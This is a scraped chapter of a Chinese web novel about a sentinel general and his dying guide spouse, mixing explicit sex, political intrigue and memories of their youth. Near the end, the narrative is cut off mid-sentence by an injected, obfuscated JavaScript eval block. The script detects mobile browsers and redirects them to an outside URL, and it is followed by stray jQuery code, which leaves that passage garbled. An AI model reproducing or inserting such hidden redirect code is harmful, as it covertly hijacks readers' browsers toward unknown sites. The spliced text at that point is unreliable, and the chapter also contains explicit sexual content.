默认冷灰
24号文字
方正启体

14. 妄念

作者:蔚淼本书字数:K更新时间:
    小院门响时苏妄刚洗完澡,开着暖黄色的夜灯,在恒温在三十摄氏度的卧室里穿着对襟绣牡丹的睡袍,坐在梳妆镜前把长发重新盘好。


    陆承勋的磁悬浮车停在院门内,目不斜视地进了正房的门,所有陪着常常颠倒黑白的夫人熬夜的下人都撤了出去,关好了朱门。


    他们的上将总是忙碌,平日里不常宿在夫人的小院里,这一次隔得尤其久。这个时间点穿着便装来,是来做什么的不言而喻。


    卧室门开了,苏妄没动,从镜子里看他。陆承勋走到了他身后,站定,一只手搭在他瘦削的肩头。


    他们在镜中对视片刻,苏妄偏过头,用脸颊亲昵地蹭了蹭陆承勋的手背。而后抬手,握住了他搭上来的这只手:“把你的好外甥一个人留在那么大的府里睡觉,不怕他做噩梦醒了找不到你?”


    这种小性子的话陆承勋自然充耳不闻,只说正事:“那座山我上去看过了,你的判断没错。”


    “噢。”苏妄缱绻地又蹭了蹭他的手,再次在镜中与他对视着,脸上浮现了戏谑,拖长了音,“谢谢舅舅的肯定~我一定会继续努力,争取早日能为舅舅分忧~”


    一室安静,陆承勋没反应。


    苏妄装模作样地叹了口气:“也对,我一个快死的人,哪有小孩子那样青春的气息,逗不笑你。”


    他起身转向陆承勋,双手攀上他的肩头,在他颈侧嗅了嗅,指骨便扣得很用力,神色也恨恨地:“瞧瞧,带着一身别人的向导素,来找我了。”


    他推着陆承勋往床的方向走,陆承勋神色如常,倒退着,任由他解开针织衫的扣子,从后剥下去。


    “其实也对。”苏妄自言自语着,又笑得疯疯癫癫的,陆承勋在床边坐下,他顺势跨坐在他的腿上。


    他想把自己藏进他怀里那般,整个人依恋地依偎在他的肩头,指尖划过他的胸口,一路向下:“不然,你还有什么时候会来找我呢?将军。”


    鞋都掉下去,皮带的钗扣哒啷一声,裤口敞开了。


    苏妄低头看看,想到这是与别的向导结合过引来的热潮,一时间咬着后槽牙,恨到身上都轻颤起来。


    他在陆承勋肩头蹭来蹭去,用自己的向导素把尹叙白的覆盖掉。陆承勋不为所动,随他一个人在他身上发疯。


    味道淡去了,苏妄缓和了许多,抓着陆承勋的手,反过手,让他去拉他的簪子,对着总是冷漠的男人露出甜笑来:“趁我还没死,还是我伺候你吧。免得我泉下有知,合不了眼。”


    陆承勋神色没什么变化,带着他往后挪了,靠到了床头上,一手搂着他的后腰,终于又说出了三个字:“你行吗。”


    苏妄痴痴笑了两声:“我不行的话,你要去找谁?回去看看那舍不得放你走的小狗吗。”


    陆承勋不再说话,拔掉了他的发簪,长发如黑色的瀑布倾泻。


    苏妄往后退,长发垂落,跪趴着,脸埋在他腿间。


    陆承勋的手指穿行过他的长发,绕了几缕在指尖,转了转,没有开口。而后,他放出了全部的精神力触须,无形的包裹密不透风地笼罩上去。


    苏妄的图景是一片坍塌后的废墟,可深度结合的烙印永存,在陆承勋的精神力顶上来的同时,废墟之上的烙印亮了。


    苏妄浑身一震,连忙包好牙退开点,呼吸立刻变得急促,又是震惊又是茫然地抬眼看陆承勋。


    周遭的空气迅速升温,在哨兵的精神海浪中,苏妄近乎枯竭的身体变得莹润。


    他们已经很久没有这样过了。陆承勋偶尔留宿,也只是单纯的生理需求,似乎对着他再不能结合的残躯败体,放出精神力触须都是浪费。


    苏妄在暖光下,对上陆承勋毫无波澜的黑瞳,逆光处他脸上有棱角分明的阴影。他分明就在眼前,那光影却残忍,仍让他端坐在高远处,没有情绪。


    而他依然近乎受宠若惊,愣怔过后,又低下去,笑了笑,边吻舔上去边说着:“原来是我的安仔今天委屈了。可惜我现在没有触须给你缠。”


    下一秒,陆承勋扯着他的长发把他揪起来,把他翻了个面儿,压上来,微蹙的眉心中终于带上几分属于人的质感:“别说废话。”


    “好凶啊,”苏妄搂着他的脖子,咯咯疯笑着,抬腰把自己欠起来,迎上去,“拿出你对小辈时的耐心来,让我也体验一下……”


    “是么。”陆承勋的手按在他的脑后,发丝缠在他的指缝里,像是属于凡间的牵引绳。


    他一手将他的头托起来些,低下去,吻住了,用精神力把话送进去:“他体验不到这个。”


    苏妄涌上几分泪意,是欢欣的,也是愤恨的。


    恨什么,要恨的太多了,恨不过来。他们本都是欲望深重的人,在床上的合拍不值一提,出了这个门,世界是他们的舞台。


    可现在……


    罢了。


    冲动熊熊燃烧起来,苏妄使尽浑身解数迎合着,吻得几乎上不来气,自然也没法开口。同时,在他的精神海中念叨着:“胀死了……这么有感觉,你都……多久没这样了。一个小屁孩就让你这样了?”


    陆承勋把他在他背上留下划痕的双手扣到头顶,一手握住,在他的脑海中回应:“嗯。”


    苏妄冷笑着,扭脸,躲开了他的吻,在光里红着眼咬着嘴,怕开口就哽咽,继续在精神海中说:“真是不爽啊。我怎么说也是你明媒正娶的,陆家的家主夫人是我,你就算要抬他也得我来抬。我还没死呢陆涵安。”


    被这么点名,陆承勋的鼻息里里带着一声轻笑,又吻了上去:“叫我什么。”


    “陆涵安,陆涵安,陆涵安。”苏妄招魂似的一声接一声地恨恨地唤他的原名,泪最终还是落了下去,“……安仔。我很想你。”


    陆承勋没再接话,加重了动作,精神力严丝合缝,烙印中传来源源不断的快意。


    结束后,自然没有什么搂抱在一起的安抚时间,他毫无留恋地撑身起来,差点没爬起来的苏妄连忙歪歪斜斜地追上来缠抱住他:“怎么,一次就够了吗?”


    陆承勋扣住他向下探的手腕:“很晚了。”


    “那又怎样?”苏妄被抓住一只手,另一手还能作乱,长发披散在身上,又疯笑起来,“还没够,将军,你既然没够为什么不呢?我可不知道你是这么会关心别人的人。”


    他跪起身去搂抱他,脸颊去蹭他的肩膀,邀请着:“我现在可死不了……谁知你下次来是什么时候,大忙人?行行好,行行好吧,你就当可怜可怜我……”


    陆承勋松了桎梏着他的手,在他面前坦然流露出不耐烦,再次把他翻了个面儿。


    再后来,他把他的长发当成了狗绳,一手握住,握成细细的一束,扥得他仰起脖子。


    ……


    苏妄裹回了睡袍,长发披散,靠在墙边屈腿坐着,抽着烟斗。


    陆承勋枕在他的枕头上躺着,不够高,一手枕在脑后,看着天花板上的纹路,听他说着。


    “……苏家现在的家主你又不是不知道,我和他从小就不对付,现在他更是不把我看在眼里。他恐怕是唯一清楚我们在做什么的,急得很,巴不得能从中横插一杠,要么捞着点好处,要么彻底打乱掉节奏。既然能伪造信息为什么要给我真的?”


    陆承勋转眼,用下目线看着他:“你看他的评级到s+了吗。”


    “按照联邦那套评判标准肯定够了呗,他一直捂着没公开,还在等着合适的机会震撼天下呢。”苏妄撇撇嘴,“他心杂,到不了我们当时的程度,但也够看了。”


    “再说了,”他又笑着看陆承勋,想起这些事,眼中有几分旧时的意气风发,“在这颗星球上谁又能跟你相提并论呢,他们也配?”


    “他见了我四面,找我说了四种结盟的方式。”想起苏家现任家主,陆承勋难得带着情绪,叹了口气,“你判断他的立场。”


    “难说。目前我们所有的姻亲,都比不得尹朔珩。又是娶你妹妹,又是把自家的宝贝给你送过来的。”


    想到尹叙白傻乎乎的样子,都二十八了看着还跟十八没区别,明明喜欢陆承勋喜欢得要死,还死守着规矩,被他摸了抱了试探了,红着脸叫他舅母,你手好冰,要不再多穿点。


    苏妄一边气得牙痒痒,又真气不起来他,只能冲着尹朔珩去,冷笑起来:“那可不是头老狐狸,那是准备大开口的狮子。他想法那么多,要与你齐心,给我送什么药,是给下马威吧。我怕他打的就是要他尹家的独子变成陆家下一任家主夫人的主意呢!”


    “我不想结婚了。”


    苏妄一怔,垂眼看他。


    明知陆家家主是宁愿家主夫人这个位置空悬着也不要节外生枝,他们的结合有许多特殊之处,局势尚未稳定之前分毫不能泄露,尤其不想让任何人从这方面有机可乘。


    苏妄什么都懂,但他总是痴心妄想。


    想想又怎样呢,反正他快要死了,身后事一概不知道。


    这怎么不算好事,他露出笑来,给陆承勋递烟斗:“抽吗?”


    陆承勋抓着他的手腕,拉过烟斗,吸了一口。


    苏妄在袅袅的烟雾中笑盈盈地看着他:“这次任务失败,217的白皮猪功不可没,要怎么处置他们?”


    “我想试试尹叙白。”陆承勋没松苏妄的手腕,顺势把他拉下来。苏妄枕着他的臂膀,长发披散开来,一根烟斗两个人抽。


    “把他编进别动队?陆泓执非闹起来。”


    “不,”陆承勋望着天花板,思索片刻,“到地方后,让他单兵作战。尹朔珩说他精神力是另一种韧性,很会进攻,常出其不意。”


    “这别人家的孩子用起来怎么放心。死外边了,尹家找你要人吗?”


    “我看着。”


    苏妄一怔,顿时又愤恨起来,一手按在陆承勋光裸的胸膛,一骨碌撑身起来,去看他的眼睛:“你看着,你管着,你护着……他尹家当陆家是什么,托儿所吗?你要用谁不是用,尹叙白也配?”


    陆承勋转向他,反问:“你有什么更好的办法吗?”


    苏妄看着他,泪又涌上来。


    是啊。他们本来可以不用这样广结盟友,他们也不需要寻找各式各样的有特殊才能可以投入局中的人才,陆承勋不需要屈尊降贵把一个小孩也看在眼里。


    他们只需要一步步攀登上去,站到巅峰,站到无人能及处,再去俯瞰这个世界。


    只可惜,他们都曾急功近利,陆承勋依然稳步前行着。他没有陆承勋的胸怀。


    他贪心了,当断则断时没有断,在灭顶之灾降临时,他只来得及把陆承勋从他的精神海里推出去,强行切断链接。


    不能回想。为什么他没死在那一天?


    陆承勋安静地看着他,抬手,手指在他眼睑下横移,抹掉他未掉的泪。


    苏妄又笑了,趴伏在胸口:“将军,再来一次吧,还想要。”


    “你不能了。”


    “我能。”苏妄蹭了蹭他,向下吻舔,“你又要亲自带队去出任务了,你好久才回来,也许你回来我都已经死了。”


    “苏妄,”陆承勋带着他翻了个身,又压上去,看着他的眼睛,“这次我走得久,让涵舟坐镇塔区,你要帮他。”


    苏妄像是听到了天大的笑话那样笑起来,搂紧他的脖子,把自己缠上去:“我帮他?我做不到,他也不听我的。”


    “我会让他听。”陆承勋托起他的腰,“我进北境,你不要乱来。”


    “你既要用我,又怕我乱来,你堂堂陆承勋身边没有可用之人了?”苏妄恨恨地咬上他的肩膀,留下牙印,“你以为我不知道你只是在安抚我,怕我坏你事吗。好啊,你赢了。”


    “我会让涵舟在动之前先过问你。”


    好吧,好吧……天生的政治家。看得见每个人的需求,给每个人最需要的好处,自如地使用他们。


    可他要带尹叙白走。


    一想到这个,苏妄收紧了他,几乎不让他抽出去。


    陆承勋一巴掌打在他的屁股上。


    苏妄冷冷地瞪着他,却因为他们正在做的事瞧不出多少怨怼:“瞧瞧你,多么完美的外壳,多么光辉的舅舅。那小狗子多天真。去吧,就去吧。”


    陆承勋不想听他的小性子,封住了他的嘴,又用精神力压制住他,在精神海中也无法传音。


    只能叫|床。


    ……


    天蒙蒙亮了。


    小院里备了一套军装,陆承勋洗漱回来后站在床边,苏妄跪在床上,给他


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16442947|185047||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    整理衣服。


    他嘴里叼着梳子,伺候着这位上将把军装穿戴整齐后,又推着他坐下,把他柔软的额发背起来,把宿在他床上的安仔亲手推开,背成陆家家主、410塔区大首长的样子。


    “一夜没睡,一会儿眯一下,别总用精神力补。”苏妄在陆承勋站起来时又贴抱上去,“真好,我也是沾了他尹叙白的光了。你多久没在我这里待一整夜了。”


    “最近我总梦见我们年轻的时候。在我死之前多来看看我行吗,这辈子快结束了,你别恨我……也对,你也不会恨我。”


    一身肃整军装的陆承勋看不出半分属于一个人的丈夫的柔情,他冷淡地,搂着苏妄的腰,似是迎合他此刻的神往,像是踱着过去的舞步,推着他上了床。


    他说出了他们之间的结束语:“按时吃药。”


    苏妄拉着他的双手不肯松,不依不饶,疯疯癫癫地笑:“吃再多药有用吗?就为了再活久一点?”


    陆承勋冷眼看着他。


    “活久一点有什么用,看你另娶吗?去吧,你去娶个乖的,笨的,只知道听你话的……能做你的左膀右臂的,能站在你身边的……”


    陆承勋俯身,制住了他的胳膊,深邃的黑瞳瞪进他的眼睛,流露出几分还属于人的情绪,用精神力将两个字震入他的脑海:“活着。”


    一个没有屏障又疯搞了一夜的向导又怎能承受住这样的撞击,苏妄泄了力气,没法再与他抗争,脸上只剩下淡淡的笑:“好,我吃药,按时吃。我多活一天,多给你宽裕一天时间。”


    ——他多想把这当成是陆承勋对他的关心,可搓磨了大半生,他已经连痴心妄想都不会了。


    陆承勋起了身,垂眼,抚平袖子上的褶皱,走向门口,没再回头。


    若说希望苏妄活下去的话语里半点个人情感都不掺,那是不可能的。他照拂整个陆家,何况是曾朝夕相伴的家主夫人。


    可那又如何呢。那一星半点的烛火,照不亮这片天。


    过去已过去了太久,未来却迟迟未来,他唯有夜以继日,没法停下脚步去给谁片刻的温柔。


    苏妄靠在床内侧的墙上,目送着他出了门,又望向窗外。


    到天亮的时间了,放眼望去仍是雾蒙蒙的,是个阴天,要落雨。


    他何尝不知外面已经变成了什么样。


    如果可以,他当然要站在陆承勋的身边,这偌大的陆家,纵横大陆,家主夫人当然要随着他同去同归。


    这世上——有且仅有他能。无论是那个叫尹叙白的孩子,还是尚未出现的张三李四,他们都配不上他。


    尹叙白无非不过占一分得天独厚,身上带着在这局势中剑走偏锋的可能性,不过是助力一二,却像他年轻时一样痴心妄想起来。


    他为什么不能想?他生下来就是要嫁给陆家的命定之人的。陆家和苏家筹备了近百年,等待着他们去实现。


    可他年轻时的骄傲与期盼,撞上了一座不为世间万物动情的山。


    他曾不肯低头,不敢相信陆承勋真的对他的真心视若无睹。他激烈地抗争过,后来妥协了,低头了,祈求了,依然没撼动他分毫。


    陆承勋没有多余的感情能分给任何人。而苏妄想着,如果他助他拿下这天下,到时候他的人生不再为这些宏图霸业填满,或许……他会来爱他。


    恨只恨,现在的他也已经做不到什么了。他的存在和这一路上逝去的某某没半点区别。


    自伤了后,苏妄便像是活在了一场再也醒不来的梦里。梦境冰冷,没有尽头,不会结束,有一束黯淡的清晖带着他摇摇晃晃地走着,一直走到清晖散尽,走到力气用尽,再也逃不出去。


    走在那道黯光下,苏妄时常梦见年少时的陆承勋。


    那时他的额发还不会像现在这样时刻背起,冷漠而压人,露出威严的、深不见底的眉眼。


    那时他也不叫陆承勋。


    他们十七岁初见,十八岁结婚,在军校里念书时,陆涵安的短刘海儿柔软的搭着,甚至有点乱,边缘打卷儿,有呆毛翘起,是趴课桌上睡觉压起来的。


    文化课在他年幼时便在家族内上完了,训练太累,他又给自己加训,常常一整夜都耗在模拟沙场中。


    上午的文化课就用来补觉。但那还不够,让他总是睡不醒的样子。


    因为困倦,那双低垂着的眉眼仿佛与现在相似,可看过来时,那里头的水是一汪沸涌的清泉,有清冽的欲望,不是无星的夜、黑色的海。


    他身上的军校制服外套也总是不爱扣扣子,敞着穿,露出里头干净的白衬衫。


    联邦总署军校的操场后面,是层峦叠嶂的高山。下课后,他们会一同走进风口,登临山巅,站在崖石边上,在苍翠中极目远眺。


    大风起兮,陆涵安柔软的额发、外套的下摆和他束高的高马尾一起朝后翻飞,猎猎作响。


    还没长出尖锐鹿角的狮虎兽在他们身边昂首咆哮,还没长出彩色尾羽的秃鹫在他们头顶盘旋,他心中畅快,灿烂恣意地笑着,吹响口哨,山谷里的鸟都朝他们飞来,扑棱棱地,陆涵安也抬起黑色的眼,朝天空望去。


    那时的他太骄傲了,想他是这样的爱着陆涵安,陆涵安又怎么会不爱他?他们如此相配,这世上不会再有谁能像他们一样相配……


    或许从那时起,他便走入了这场梦境,梦到最后连恨都没了余力。


    苏妄赤着脚下了床,坐到了桌前,对着镜子梳理自己被折腾得几乎打结的长发。


    他梳通顺,突然把长发抓高了,抓成高马尾,左右看了看镜中的自己。


    却怎样都见不到半分少时的模样。


    翻滚的世事与流逝的时间永远不会说抱歉,他身边也永远不会再有陆涵安。


    不过是石中火,梦中身。


    苏妄又怎能是甘愿刻舟求剑之辈?


    可现在的他只能自嘲地笑笑,松了手,在灰败的晨光里拿起簪子,重新去盘发,又轻轻哼唱起《牡丹亭》:


    “小嵯峨,压的旃檀合,便做了好相观音俏楼阁。片石峰前,那片石峰前,多则是飞来石,三生因果。请将去炉烟上过,头纳地,添灯火,照的他慈悲我。俺这里尽情供养,他于意云何?”


    自是无人应答。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)